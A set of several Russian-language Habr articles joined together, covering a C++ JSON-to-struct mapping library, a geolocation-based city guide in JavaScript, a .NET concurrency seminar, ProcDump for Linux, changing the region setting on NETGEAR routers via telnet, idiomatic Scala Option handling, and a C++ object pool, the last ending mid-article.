sm::reg(&Palette::background\_color, "background\_color", sm::Default{Color::blue});
sm::reg(&Palette::special\_colors, "special\_colors");
sm::reg(&Palette::colors, "colors");
Palette palette;
std::istringstream json\_data(R"json(
{
"main\_color": "green",
"special\_colors": ["green", "green", "red"],
"colors": {
"dark": "green",
"light": "red",
"neutral": "blue"
}
}
)json");
sm::map\_json\_to\_struct(palette, json\_data);
std::cout << palette << std::endl;
}
```
результат
```
main_color : green
background_color : blue
special_colors : green, green, red,
colors : [dark, green], [light, red], [neutral, blue],
```
Опции отображения
-----------------
Появилась возможность задавать при регистрации поля опции, которые будут использоваться при отображении этого поля
* Bounds
* Default
* NotEmpty
* Required
### Bounds
Устанавливает диапазон значений, в котором (включая границы диапазона) должно находится устанавливаемое значение. Применима для целочисленных типов и типов с плавающей точкой. Опция принимает два параметра — границы диапазона. Генерирует исключение при выходе устанавливаемого в процессе отображения значения за границы.
```
Bounds{нижняя граница, верхняя граница}
```
Пример задания опции:
```
reg(&Stage::engine_count, "engine_count", Bounds{1, 31});
```
### Default
Устанавливает значение по умолчанию для поля. Применима для bool, целочисленных типов, типов с плавающей точкой, строк, контейнеров, структур с++ и перечислений. Опция принимает один параметр — значение по умолчанию.
```
Default{значение по умолчанию}
```
Пример задания опции:
```
reg(&Stage::engine_count, "engine_count", Default{3});
```
### NotEmpty
Отмечает, что для поля не может быть установлено пустое значение. Применима для строк и контейнеров. Опция не принимает параметров. Генерирует исключение, если после завершения отображения значением поля является пустая строка или пустой контейнер.
Пример задания опции:
```
reg(&Spacecraft::name, "name", NotEmpty{}));
```
### Required
Отмечает, что для поля обязательно должно быть установлено значение. Применима для bool, целочисленных типов, типов с плавающей точкой, строк, контейнеров, структур с++ и перечислений. Опция не принимает параметров. Генерирует исключение, если после завершения отображения значение для поля не было установлено.
Пример задания опции:
```
reg(&Spacecraft::name, "name", Required{}));
```
### Пример использования опций
```
#include
#include
#include
#include
#include
#include "struct\_mapping/struct\_mapping.h"
namespace sm = struct\_mapping;
struct Stage {
unsigned short engine\_count;
std::string fuel;
long length;
friend std::ostream & operator<<(std::ostream & os, const Stage & o) {
os << " engine\_count : " << o.engine\_count << std::endl;
os << " fuel : " << o.fuel << std::endl;
os << " length : " << o.length << std::endl;
return os;
}
};
struct Spacecraft {
bool in\_development;
std::string name;
int mass;
std::map stages;
std::list crew;
friend std::ostream & operator<<(std::ostream & os, const Spacecraft & o) {
os << "in\_development : " << std::boolalpha << o.in\_development << std::endl;
os << "name : " << o.name << std::endl;
os << "mass : " << o.mass << std::endl;
os << "stages: " << std::endl;
for (auto& s : o.stages) os << " " << s.first << std::endl << s.second;
os << "crew: " << std::endl;
for (auto& p : o.crew) os << " " << p << std::endl;
return os;
}
};
int main() {
sm::reg(&Stage::engine\_count, "engine\_count", sm::Default{6}, sm::Bounds{1, 31});
sm::reg(&Stage::fuel, "fuel", sm::Default{"subcooled"});
sm::reg(&Stage::length, "length", sm::Default{50});
sm::reg(&Spacecraft::in\_development, "in\_development", sm::Required{});
sm::reg(&Spacecraft::name, "name", sm::NotEmpty{});
sm::reg(&Spacecraft::mass, "mass",
sm::Default{5000000}, sm::Bounds{100000, 10000000});
sm::reg(&Spacecraft::stages, "stages", sm::NotEmpty{});
sm::reg(&Spacecraft::crew, "crew",
sm::Default{std::list{"Arthur", "Ford", "Marvin"}});
Spacecraft starship;
std::istringstream json\_data(R"json(
{
"in\_development": false,
"name": "Vostok",
"stages": {
"first": {
"engine\_count": 31,
"fuel": "compressed gas",
"length": 70
},
"second": {}
}
}
)json");
sm::map\_json\_to\_struct(starship, json\_data);
std::cout << starship << std::endl;
}
```
результат
```
in_development : false
name : Vostok
mass : 5000000
stages:
first
engine_count : 31
fuel : compressed gas
length : 70
second
engine_count : 6
fuel : subcooled
length : 50
crew:
Arthur
Ford
Marvin
```
### Обратное отображение структуры c++ на json
Для обратного отображения структуры на json необходимо предварительно зарегистрировать все поля всех структур, которые требуется отображать, используя для каждого поля
```
reg(V T::* ptr, std::string const & name, Options&& ... options);
```
и вызвать непосредственно для обратного отображения функцию
```
map_struct_to_json(T & source_struct, std::basic_ostream & json\_data, std::string indent);
```
* `source_struct` — ссылка на исходную структуру
* `json_data` — ссылка на выходной поток json данных
* `indent` — отступ (если задан, делает выходной формат лучше читаемым)
```
#include
#include
#include "struct\_mapping/struct\_mapping.h"
struct OceanPart {
std::string name;
double average\_depth;
std::vector temperature;
};
struct OceanColor {
std::string name;
};
struct Ocean {
double water\_volume;
long long surface\_area;
bool liquid;
std::string name;
OceanColor color;
std::vector parts;
};
struct Planet {
bool giant;
long long surface\_area;
double mass;
double volume;
long long orbital\_period;
std::string name;
bool terrestrial;
std::string shape;
Ocean ocean;
};
int main() {
struct\_mapping::reg(&OceanPart::name, "name");
struct\_mapping::reg(&OceanPart::average\_depth, "average\_depth");
struct\_mapping::reg(&OceanPart::temperature, "temperature");
struct\_mapping::reg(&OceanColor::name, "name");
struct\_mapping::reg(&Ocean::water\_volume, "water\_volume");
struct\_mapping::reg(&Ocean::surface\_area, "surface\_area");
struct\_mapping::reg(&Ocean::liquid, "liquid");
struct\_mapping::reg(&Ocean::name, "name");
struct\_mapping::reg(&Ocean::color, "color");
struct\_mapping::reg(&Ocean::parts, "parts");
struct\_mapping::reg(&Planet::giant, "giant");
struct\_mapping::reg(&Planet::surface\_area, "surface\_area");
struct\_mapping::reg(&Planet::mass, "mass");
struct\_mapping::reg(&Planet::volume, "volume");
struct\_mapping::reg(&Planet::orbital\_period, "orbital\_period");
struct\_mapping::reg(&Planet::name, "name");
struct\_mapping::reg(&Planet::terrestrial, "terrestrial");
struct\_mapping::reg(&Planet::shape, "shape");
struct\_mapping::reg(&Planet::ocean, "ocean");
Planet earth;
earth.giant = false;
earth.terrestrial = true;
earth.surface\_area = 510072000;
earth.orbital\_period = 365 \* 24 \* 3600;
earth.mass = 5.97237e24;
earth.name = "Terra";
earth.volume = 1.08321e12;
earth.shape = "nearly spherical";
earth.ocean.water\_volume = 1332000000;
earth.ocean.surface\_area = 361132000;
earth.ocean.liquid = true;
earth.ocean.name = "World Ocean";
earth.ocean.color.name = "blue";
OceanPart pacific;
pacific.name = "Pacific Ocean";
pacific.average\_depth = 4.280111;
pacific.temperature = std::vector{-3, 5, 12};
OceanPart atlantic;
atlantic.name = "Atlantic Ocean";
atlantic.average\_depth = 3.646;
atlantic.temperature = std::vector{-3, 0};
earth.ocean.parts.push\_back(pacific);
earth.ocean.parts.push\_back(atlantic);
std::ostringstream json\_data;
struct\_mapping::map\_struct\_to\_json(earth, json\_data, " ");
std::cout << json\_data.str() << std::endl;
}
```
результат
```
{
"giant": false,
"surface_area": 510072000,
"mass": 5.97237e+24,
"volume": 1.08321e+12,
"orbital_period": 31536000,
"name": "Terra",
"terrestrial": true,
"shape": "nearly spherical",
"ocean": {
"water_volume": 1.332e+09,
"surface_area": 361132000,
"liquid": true,
"name": "World Ocean",
"color": {
"name": "blue"
},
"parts": [
{
"name": "Pacific Ocean",
"average_depth": 4.28011,
"temperature": [
-3,
5,
12
]
},
{
"name": "Atlantic Ocean",
"average_depth": 3.646,
"temperature": [
-3,
0
]
}
]
}
}
```
В итоге
=======
* использовать обычные структуры с++ можно (и нужно)
* Json объекты можно отображать как на специальным образом определенную структуру (такая возможность осталась), так и на обычные структуры
* Json массивы можно отображать на std::vector и std::list. Общие требования к контейнерам на которые можно отображать массивы пока не полностью сформированы.
* json объекты можно отображать на ассоциативные контейнеры, с ограничением на то, что ключ должен быть строкой. Общие требования к контейнерам, как и с массивами, пока не полностью сформированы.
* макросы не нужны и уж точно не необходимы. Возможность их использования осталась (как вариант) при регистрации, совмещенной с инициализацией полей. Но скорее всего, будет выпилена.
* отображение можно настраивать с помощью опций
[Библиотека доступна на GitHub](https://github.com/bk192077/struct_mapping) | https://habr.com/ru/post/510438/ | null | ru | null |
# Как я в библиотеке реальность дополнял
*Картинка для привлечения внимания.*
Я тот, кто первым использовал технологии навигации для построения дополненной реальности.
Технологии геолокации известны давно и хорошо документированы во всех языковых частях Интернета, включая русскую. Но, как бы это ни было удивительно, до сих пор никем не применялись толком на практике. Несколько лет назад, всё на том же habrahabr'е я читал о планах использования карт дополненной реальности. Но, насколько я могу видеть, нигде, кроме [ingress](https://ru.wikipedia.org/wiki/Ingress) это, опять же, так и не использовали.
В декабре 2011-го года [Воронежская областная детская библиотека](http://odbvrn.ru) создала свой собственный краеведческий ресурс [Детям о Воронежском крае](http://okrae.odbvrn.ru) и с тех пор систематически наполняла его краткими аннотациями по памятникам, памятным местам и другой информацией о Воронежском крае. Пользователи в любой момент могли получить эту информацию и отсылки к краеведческой литературе, которая имеется в библиотеке.
Всё до крайности просто. Информация уже есть на сайте. Каждая такая статья это единственная запись в базе данных в виде html кода. Чтобы отобразить её, достаточно сделать один запрос. Но нужно как-то доставить её пользователю. Тут и родилась идея «гида».
В Воронеже очень много гостей. Это и студенты из других городов, и иностранцы, приехавшие по долгу службы, и просто туристы. Все они любят осматривать наши достопримечательности и памятники. А всегда удобнее иметь под рукой что-то, с чем не нужно долго возиться и разбираться.
Поэтому я решил привязать каждую запись к определённым координатам на местности. Если это не дополненная реальность, то что?
Разберём конкретную реализацию.
Поискав недельку готовые решения и не найдя ничего подходящего, решил сделать всё по-своему. Во-первых, метод определения координат пользователя.
```
...
geolocationOptions:
{
enableHighAccuracy: true;
}
function getLocation() {
if (navigator.geolocation) {
navigator.geolocation.watchPosition(showPosition);
} else {
x.innerHTML = "Геолокация не поддерживается данным браузером или устройством.";
}
```
Как можно видеть отсюда, всё крайне просто. Здесь мне очень помог метод watchPosition, который срабатывает не один раз, как getCurrentPosition, но работает постоянно по мере изменения координат пользователя. Поэтому оказалось крайне удобно показывать контент в зависимости от положения.
Следующий момент, это как раз проверка координат. Я долго думал, как же лучше сделать? Сначала меня посетила мысль о достаточном огрублении точности указанного местоположения. Но этот метод оказался неподходящим, поскольку оказалось сложным подобрать такую погрешность, которая бы давала нужный радиус и я от неё отказался.
Тогда я стал думать в сторону контуров, очерчивающих площади на местности. Но это сильно усложнило и утяжелило бы код и от этой идеи я тоже отказался.
Третье решение показалось мне наиболее простым и правильным. Выражается оно в следующей строке кода:
```
var data = php echo $myArray ?; //вывод массива полученных из БД данных
```
Что в итоге, очевидно, превращается в код вида:
```
var data = [["293","51.6569823","51.6583003","39.2145828","39.2174366"],["294","51.630048","51.630752","39.156333","39.157132"],["295","51.693474","51.693709","39.20857","39.209728"],["296","51.6704160","51.6718383","39.2093698","39.2117104"],["297","51.6644532","51.6647234","39.2065102","39.2066389"],["298","51.6640640","51.6645244","39.2074646","39.2079206"],["300","51.6664147","51.6669751","39.2019236","39.2021328"],["301","51.6624973","51.6629277","39.2063693","39.2069325"],["302","51.6610044","51.6621621","39.2011539","39.2019854"],["303","51.6735303","51.6739639","39.2071490","39.2077873"],["304","51.6644936","51.6652675","39.2038072","39.2049820"],["305","51.6715535","51.6722906","39.2086361","39.2097626"],["306","51.6615435","51.6622841","39.1990161","39.1997027"],["308","51.6554642","51.6559213","39.1859334","39.1865128"],["312","51.6735318","51.6740154","39.2113578","39.2124253"],["313","51.6758248","51.6762417","39.2107791","39.2114228"],["315","51.7115548","51.7120380","39.2272416","39.2277244"],["316","51.7564548","51.7572128","39.1742317","39.1752658"],["434","51.6659232","51.6664169","39.2051209","39.2057968"],["435","51.7064638","51.7071071","39.1711776","39.1726474"]];
```
Как можно видеть, это просто набор координат и id статей.
И вот тут уже делается всё самое важное:
```
function showPosition(position) {
for (i = 0; i < data.length; i++) {
if ((position.coords.latitude >= data[i][1] && position.coords.latitude <= data[i][2]) && (position.coords.longitude >= data[i][3] && position.coords.longitude <= data[i][4]))
{
showArticle(data[i][0]);
x.innerHTML = ("Мы обновим и отобразим для Вас информацию о следующем памятнике, когда Вы будете с ним рядом.
=============================================================================================
");
}
}
}
```
То есть, суммируя вышеизложенное, каждый раз при изменении координат мы пробегаемся по всему массиву и проводим сравнение текущих значений с теми, что есть в массиве. Таким образом, если пользователь вошёл в прямоугольник, который мы указали при создании метки, скрипт автоматически загрузит статью из базы данных. Естественно, при помощи ajax, вот таким простым способом:
```
function showArticle(str) {
if (str == "") {
document.getElementById("txtHint").innerHTML = "";
return;
} else {
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
} else {
// code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
document.getElementById("txtHint").innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("GET","getArticle.php?q="+str,true);
xmlhttp.send();
}
}
```
Конечно, у описанного выше метода есть и очевидные недостатки.
В выделенном прямоугольнике находится памятный знак жертвам бомбардировки в саду Пионеров. Но указать его как-то иначе, чтобы в эту площадь не попадали рядом стоящие дома, при использовании данного подхода просто невозможно. Но, к счастью, в данном случае, это не важно, потому что, как правило, плотность памятников на единицу площади крайне мала, а следовательно, это никак не помешает.
Другая сложность — это проблемы самой технологии навигации. Порою она даёт удивительно большие погрешности. Так, памятник С. Есенину находится примерно в более чем в пятистах метрах от памятника А. Кольцову. Но из-за окружающих зданий, временами, вместо С. Есенина можно увидеть информацию по А. Кольцову.
Но тем не менее «Гид» запущен и им уже пользуются жители и гости города. Работа по его улучшению будет продолжена. Буду рад конструктивной критике и предложениям.
Сам «гид» можно найти по следующей ссылке: [www.okrae.odbvrn.ru/guide](http://www.okrae.odbvrn.ru/guide/)
На этом, я считаю, можно закончить обзор. Надеюсь, информация будет полезна сообществу.
UPD: видео с местного тв.
UPD 2: скоро выкатим новую версию. Эта уже старая. | https://habr.com/ru/post/258387/ | null | ru | null |
# Недостаточно знать, что такое Mutex, Semaphore и async/await. Надо знать всё, начиная с квантов
Совсем скоро, **29-30 ноября в Санкт-Петербурге** и **06-07 декабря — в Москве** мы запустим [шестой семинар по .NET](http://clrium.ru/register.html). На этот раз — по теме многопоточки и конкурентности. Мы уже писали об этом пару раз на Хабре, но сегодня есть отдельный повод для этого: на семинаре **настоящий эксклюзив**. Будет описана работа гибридного примитива синхронизации: `Monitor`. Да, всем привычная вещица достойна отдельного доклада. Ведь он в своей работе учитывает и частоту процессора и количество ядер, учитывает lock convoy/starvation и вообще, очень сложен.
А в конце статьи развлечения ради предложу пройти парочку QUIZов по многопоточке.
[](http://clrium.ru/register.html)
Небольшой сценарий с семинара
-----------------------------
Самое важное, что исходит от операционной системы — это планирование потоков. Ведь они могут работать как в параллели друг с другом (когда в данный момент исполняются на разных ядрах), так и что чаще (если речь идёт об одних и тех же потоках) — последовательно. Ведь ОС даёт не так много времени на исполнение — каждому, после чего отдает время другим. Второе — для этого отрезка — кванта — может быть выделено разное количество времени. Например, в зависимости от того, какой версией ОС мы пользуемся: серверной или пользовательской, является ли поток UI потоком процесса с текущим активным окном. Третье — есть приоритеты и понятие "вытесняющая многозадачность", когда ваш поток, только получив заветный квант может его потерять, т.к. образовался другой поток с более высоким приоритетом. Получается, что наше приложение сильно зависит от того, в каком окружении оно работает. Например, какой-нибудь расчётный сервис лучше всего будет себя чувствовать на серверном варианте ОС (либо с соответствующими настройками производительности), когда на машине нет вообще никаких других сервисов: кванты будут длинными, квантового времени будет предоставлено много.
Но тут встаёт другой вопрос: если наш поток на такой конфигурации устанавливает блокировку уровня ядра (например, Semaphore(1) ), второй поток дойдя до установки блокировки у себя в эту блокировку встаёт, то стоять он в серверной ОС будет намного дольше, чем стоял бы в пользовательской. Почему? Да потому что квант времени серверной в 6 раз длиннее, чем у клиентской и этому потоку придется сначала подождать, когда первый поток дойдёт до места снятия блокировки, а потом — когда ему выдадут новый квант.
Однако, есть помощь и для такого случая: при снятии блокировки у всех потоков, кто её ожидал, временно (на 1 квант) повышается приоритет над другими потоками и второй поток получит процессорное время сразу.
CLRium 6
--------
Эти три абзаца — это сжатые 5% от 4-го доклада. А он уже богат на информацию, которой можно воспользоваться на всех уровнях: от работы с примитивами синхронизации до работы с высокоуровневыми библиотеками. А программа у нас такая:
1. Мы посмотрим на типы процессов. Ведь их много, а пользуемся мы от силы двумя из них: это обычные и ModernApp;
2. Три доклада подряд — это потоки уровня операционной системы: планирование на одноядерных, многоядерных системах и NUMA системах. Везде правила — разные и это надо учитывать в своей работе;
3. Разбор работы примитивов синхронизации на уровне квантового времени. Говорить о lock/Mutex/Semaphore вы все научились на собеседованиях. Нет никакого смысла повторяться, а потому мы вооружимся временными графиками и посмотрим, как распределяются кванты между процессорами на всех примитивах синхронизации: Kernel-Space, User-Space и гибридных.
4. Настоящий эксклюзив семинара: строение примитива `Monitor`. То, что `lock(){}` раскрывается в `try { } finally { }` вы и без меня знали, а вот во что раскрывается `Monitor.Enter`, `Monitor.Leave`, `Monitor.TryEnter` — это тема для отдельного, плотного, полного ада доклада. Поверьте, внутри у него всё очень и очень круто. Это — гибридный примитив синхронизации, который построен избегать Starvation, излишних уходов в блокировку и lock convoy.
5. Целых три плотных доклада по lock-free и wait-free в том числе на примере разведовательных дронов и ПВО, пытающейся сбить эти дроны. И эти доклады настолько понравились HighLoad++, что их позвали на [HighLoad++ в Москве 07-08 ноября](https://www.highload.ru/moscow/2019/abstracts/6012).
6. Ряд докладов по PLINQ и Async-Await. Всё тоже максимально подробно. Не по вешкам: этого добра хватает в Интернете. Каждая технология будет рассказана "изнутри": как это принято на CLRium.
7. И закроют семинар два доклада по библиотеке lock-free коллекций от Microsoft и Intrinsics (векторные инструкции для параллелизации на уровне процессора).
Немного статистики
------------------
Мы — крупнейший семинар страны и в общем не являемся конференцией только потому, что нам нравится наш формат. Вы не выбираете среди докладов, на которые вы **не** пойдёте. Вы идёте на все. При этом вы заранее понимаете, что все темы семинара вам интересны, т.к. тема едина. На CLRium 6 будет поставлен очередной рекорд: в обоих городах будет присутствовать 700 человек. Около 700 человек прокачают свои навыки в параллелизации и работой с конкурентностью. И пойдут на собеседования. Приходите и вы к нам :). | https://habr.com/ru/post/473726/ | null | ru | null |
# Microsoft выпустила Linux-версию утилиты ProcDump
[ProcDump для Linux](https://github.com/Microsoft/ProcDump-for-Linux) — реинкарнация классического инструмента [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) из комплекта технических средств и утилиты для управления, диагностики, устранения неполадок и мониторинга среды Microsoft Windows.
Конкретно этот инструмент от Марка Русиновича показывает, сколько ресурсов центрального процессора должен занимать процесс и какое время должно пройти, прежде чем ProcDump создаст дамп процесса. То есть дамп записывается автоматически, когда процесс в очередной раз повысит нагрузку на центральный процессор выше определённого порога.
Например, под Windows мы хотим изучить аномальное поведение wmiprvse.exe (процесс WMI Provider Host), который в произвольные моменты времени занимает до 90% ресурсов CPU. Тогда запускаеми следующую команду, которая трижды запишет дамп этого процесса в случае, если потреблением им CPU в течение трёх секунд превышает 80%.
`procdump.exe -c 80 -s 3 -n 3 wmiprvse`
Действительно, очень удобно.
Версия под Linux работает примерно так же, как под Windows, разве что опций в программе поменьше:
```
Usage: procdump [OPTIONS...] TARGET
OPTIONS
-C CPU threshold at which to create a dump of the process from 0 to 100 * nCPU
-c CPU threshold below which to create a dump of the process from 0 to 100 * nCPU
-M Memory commit threshold in MB at which to create a dump
-m Trigger when memory commit drops below specified MB value.
-n Number of dumps to write before exiting
-s Consecutive seconds before dump is written (default is 10)
TARGET must be exactly one of these:
-p pid of the process
-w Name of the process executable
```
В данный момент поддерживается работа только на ядре 3.5 или более старшей версии. | https://habr.com/ru/post/428782/ | null | ru | null |
# Смена региона, зашитого на заводе, в роутерах NETGEAR
При покупке роутера NETGEAR заграницей, многие сталкиваются с тем, что он не поддерживает многие стандарты российских интернет провайдеров, такие как протоколы L2TP и различные вариации функций, необходимых для работы IPTV.
На различных форумах обсуждалось, что для изменения региона на Россию необходимо переписать Bootloader, но на практике, в большинстве случаев этого не требуется. Для изменения региона, на большинстве моделей достаточно вбить соответствующие команды через Telnet. О том, как получить доступ к роутеру через Telnet — можно прочитать [тут](http://habrahabr.ru/post/105623/).
И так, вот команды:
Для моделей на чипах Broadcom, таких как WNR3500L, WNR3500Lv2, WNDR4500, R6300
**```
burnsku 0x0002
```**
Ответ должен быть таким
**```
burnsku OK
```**
Данная команда переводит роутер в регион WW, именно с этим кодом данные модели поставляются в Европу. Для работы российского функционала нужно выбрать в WEB интерфейсе русский язык.
Для моделей на чипах Atheros с прошивкой на базе OpenWRT, таких как WNR2200, WNDR3800, WNDRMAC, WNDR4300
**```
artmtd -w regionset RU
```**
Ответ должен быть таким
**```
argv[3] = RU
write region number: 0x0005
Unlocking /dev/mtd1 ...
Writing from /tmp/temp.img to /dev/mtd1 ... [ ][e][w][w][w][w][w][w][w][w][e][w][w][w][w][w][w][w][w]
The region number is: 0x0005
REGION: RU
```**
Удачи. | https://habr.com/ru/post/195058/ | null | ru | null |
# Scala WAT: Обработка опциональных значений
В сети и на Хабре уже довольно много статей вводного уровня про то, как начать писать на Scala, и раскрывающих особенности функционального подхода.
Какое-то время назад мы полностью перевели на Scala один из основных для веба проектов. За это время я наблюдал эволюцию разработчиков, включая свою собственную, и у меня скопился объёмный список конструкций, которые тянет написать, если вы раньше писали на Java, и для которых правильное решение на Scala может не быть сходу очевидным. Данные рекомендации могут быть не очень понятны тем, кто до сих пор пишет на Java и не видел до этого код на Scala. Я не буду разъяснять работу стандартных функций и функциональных концепций, всё ищется по ключевым словам в сети.
Начнём с тривиального случая: используемое вами Scala API возвращает Option. Вы хотите получить значение из него и обработать. Программисты на Java написали бы это так:
```
val optionalValue = service.readValue()
if(optionalValue.isDefined) { // ещё любят писать optionalValue != None
val value = optionalValue.get
processValue(value)
} else {
throw new IllegalArgumentException("No value!")
}
```
Что плохо в этом коде? Для мира Scala тут несколько неприемлемых особенностей: во-первых, optionalValue, в коде на Scala очень много интерфейсов возвращает Option, и это прекрасно потому, что требует писать обработку ошибок, а не забивать на неё, надеясь, что ошибка поймается в общем обработчике ошибок (который выдаст что-то невразумительное, типа, «Неизвестная ошибка, повторите позже»). Может быть, вы очень ответственны и думаете: на Java я обрабатывал все ошибки! Может быть, но опыт показал, что, переписывая большой класс на Scala, несмотря на множество всевозможных проверок, стабильно находишь пару мест, где ошибка не обрабатывалась и приходится находить способы это сделать, потому что писать код, явно кидающий NPE не позволяет совесть. Короче, добавляя префикс optional вы будете часто получать двойников переменных, в которых не будет особого смысла. Второе — проверка на пустоту Option в явном виде, как будет показано ниже, слишком брутальна. И, в-третьих, вызов Option.get, который вообще надо было бы запретить (всегда, когда его вижу, значит, что код можно переписать намного чище). По факту, ничего с точки зрения системы типов не защищает такой код. Проверяющий if кто-то может переписать или забыть и тогда вы получите аналог NPE, что полностью обесценивает использование класса Option.
На самом деле варианта написать этот код красивее два. Первый происходит, когда в случае, если у вас есть значение, то нужно сделать дополнительные действия, а отсутствие значения обрабатывать не требуется. Тогда, пользуясь тем, что Option — Iterable, можно написать так:
```
for(value <- service.readValue()) {
processValue(value)
}
```
Второй — когда нужно обработать оба случая. Тогда рекомендуется использовать pattern matching:
```
service.readValue() match {
case Some(value) => processValue(value)
case None => throw new IllegalArgumentException("No value!")
}
```
Обратите внимание, что каждый из вариантов лишён описанных недостатков.
Продолжим. Часто получение значения связанно с обработкой исключений, при этом зачастую рождаются такие конструкции:
```
var value: Type = null
try {
value = parse(receiveValue())
} catch {
case e: SomeException => value = defaultValue
}
```
Здесь тоже есть сразу несколько недостатков: мы используем изменяемые переменные, явно указываем тип, хотя он, более менее, очевиден и используем null, который в хорошей scala-программе не очень-то нужен и несёт одни неприятности. Пользуясь тем, что все выражения в Scala возвращают значения можно записать пример выше так:
```
val value =
try {
parse(receiveValue())
} catch {
case e: SomeException => defaultValue
}
```
Код становится почище и мы избавляемся от изменяемости. Иногда задумка автора начального кода бывает даже интереснее: он уже познакомился с Option и знает, что это хорошо, и, особенно, чувствует, что здесь они нужны:
```
var value: Option[Type] = null
try {
value = Some(parse(receiveValue()))
} catch {
case e: SomeException => value = None
}
```
Кстати, тут есть интересная особенность: если parse, вдруг, не дай Б-г, вернёт null, что может статься, то мы получим Some(null), а не None, чего можно было бы ожидать, поэтому, как минимум, надо было бы написать Option(parse(receiveValue())), а ещё лучше использовать стандартный пакет scala.util.control.Exception.\_ так:
```
val value = catching(classOf[SomeException]).opt({ parse(receiveValue()) }).getOrElse(defaultValue)
```
Хорошо. А как быть, если мы имеем список опций, где часть элементов имеют значение, а часть нет, а нам надо получить список заполненных значений, чтобы поработать с ними. Разработчик, поднаторевший в стандартной библиотеке Scala сразу вспомнить про метод filter, который создаёт коллекцию из элементов существующей, удовлетворяющих предикату, может даже вспомнит про filterNot, и напишет:
```
list.map(_.optionalField).filterNot(_ == None).map(_.get)
```
Как было описано выше, это выражение порочно, но что делать с ним сходу непонятно. Подумав какое-то время, можно прийти к выводу, что очень хочется, на самом деле сделать flatten, но List и Option — это разные монады, которые ещё и не коммутируют! И вот тут спасает то, что Scala не только функциональный язык, но и объектно-ориентированный, ведь и List и Option на самом деле — Iterable, где map и flatten определёны, бинго! Компиллятор Scala умеет выводить тип правильно и мы пишем:
```
list.map(_.optionalField).flatten
```
Что спокойно можно сократить до:
```
list.flatMap(_.optionalField)
```
Вот это уже здорово!
Напоследок простой пример из [Twitter «Effective Scala»](http://twitter.github.com/effectivescala/), для того же списка опций. Этот пример — одно из моих последних открытий. К сожалению, он редко применим к коду нашего проекта, но всё же его красота подкупает. Итак, мы имеем список опций и хотим преобразовать его, выполнив для существующих значений один код, а для несуществующих — другой. В принципе, в лоб мы пишем:
```
iterable.map(value => value match {
case Some(value) => whenValue(value)
case None => whenNothing()
})
```
Это довольно чисто, но, благодаря тому, что метод map принимает функцию и способу определения Partial Functions в Scala мы, можем написать ещё элегантнее:
```
iterable.map({
case Some(value) => whenValue(value)
case None => whenNothing()
})
```
Кстати, с передачей функций в map связанна ещё одна особенность. Иногда можно увидеть код:
```
iterable.map(function(_))
```
Если вы так написали, то помимо передаваемой функции, будет создана ещё одна, которая возьмёт значение, переданное в map, и просто вызовет function. То есть не сделает ничего. В данном случае проще и чище передавать в map, да и в любые другие функции высшего порядка сами функции, не генерируя дополнительных замыканий так:
```
iterable.map(function)
```
Ну вот и всё на этот раз. Надеюсь, примеры выше помогут улучшить вашу базу кода на Scala. Очень жалко, что по приведённым примерам плагины к IntelliJ IDEA и Maven, проверяющие качество кода на Scala, не умеют подсказывать, что хорошо, а что плохо, констатируя только наличие в коде null или изменяемой переменной, не предлагая решений. Надеюсь, теперь они у вас есть.
В следующий раз хочется рассказать про использование стандартных коллекций. А ваши личные рецепты сделать код лучше, было бы интересно узнать из комментариев. | https://habr.com/ru/post/166145/ | null | ru | null |
# Объектный пул и быстрое создание объектов в куче
Хочу поделится очередным велосипедом собственной сборки на С++. Велосипед умеет быстро создавать и выдавать объекты. В результате получаем скорость создания (не отдачи) объектов на 30% быстрее чем просто с new. Объектный пул — вещь не новая, и в общем — чего о нем и говорить то. Но как говорится — главное в деталях.
Так случилось, что потребовалось мне огромнейшее количество небольших объектов в проекте на С++. При чем потребовались они, как потом оказалось, в куче. Объекты же были не чем иным как описанием положения в пространстве. И содержали матрицу 4х4 типа double и несколько вспомогательных переменных. Упростив первоначальную форму, положим что класс (в данном случае структура) имеет вид:
```
struct Position{
double m[16];
int s;
}
```
То есть — порядка 132 байт.
Перепробовав несколько способов, в числе которых было и создание объектов просто через new, пришёл к тому что лучше это сделать с помощью объектного пула. Ибо new прямо в лоб — операция ресурсоемкая.
Сразу оговорюсь, что с [boost](http://www.boost.org/), и иже с ними знаком весьма отдаленно. И потому, возможно описываю здесь велосипед. Тем не менее, лично я подобного не нашел (весьма вероятно, от того что и не знал как это правильней назвать), а то что получилось работает весьма шустро.
Объектный пул довольно известный, и в общем-то несложный в реализации паттерн. Казалось бы что тут сложного — создай стек из объектов и по мере необходимости отдавай. Когда все роздано — создавай ещё. Если объект больше не нужен — возвращаем его в стек свободных объектов, вместо того чтобы удалять. Приведем пример класса реализующего данный паттерн:
```
template
class Factory
{
public:
inline T\* get(){
if(free\_ptrs.empty()){
makeMore();
}
T\* obj = free\_ptrs.back();
free\_ptrs.pop\_back();
return obj;
}
inline void free(T\* obj){
free\_ptrs.push\_back(obj);
}
private:
std::vector buffer;
std::vector free\_ptrs;
// создаем пачками (либо поштучно, если chunk\_size = 1 ). При chunk\_size = 1 компилятор уберёт loop.
void makeMore(){
// НЕ делаем vector.reserve() здесь, в силу того что reserve имеет линейное время работы
// по vector.size() , а не количеству добавляемых элементов. Оставляем расширение
// массива на рассмотрение STL.
for (int i = 0; i < chunk\_size ; ++i) {
buffer.emplace\_back(); // у создаваемого класса объектов должен быть конструктор по умолчанию!
free\_ptrs.emplace\_back(&buffer.back()); // заносим в список свободных
}
}
}
```
Применение:
```
Factory pool;
pool.get();
```
Рассмотрим минусы приведенного способа:
— На практике создание огромного количества (10000 — 1000000) небольших объектов в куче вызвало значительное проседание в производительности. Конечно, подобные запинки в работе будут наблюдаться лишь при первоначальной инициализации. Но все же. Если можно сделать хорошо, зачем не сделать?
— У создаваемого класса объектов должен быть конструктор по умолчанию!
— Объект возвращается в неопределенном состоянии. Можно конечно добавить вызов конструктора/ инициализатора, но об этом ниже.
Было замечено что объекты ну ооочень шустро создаются в нативных массивах:
```
T* array = new T[];
```
А по сему, пробуем создавать и хранить объекты подобным способом.
Казалось бы достаточно было бы сделать STL'ный buffer.reserve. Но при каждом увеличении массива происходит создание НОВОГО нативного массива, а потом ещё и создание поштучно конструктором копии/переноса в нем всех уже существующих элементов. То есть — если мы не хотим добавлять конструктор переноса в класс наших объектов — то работать будет очень медленно.
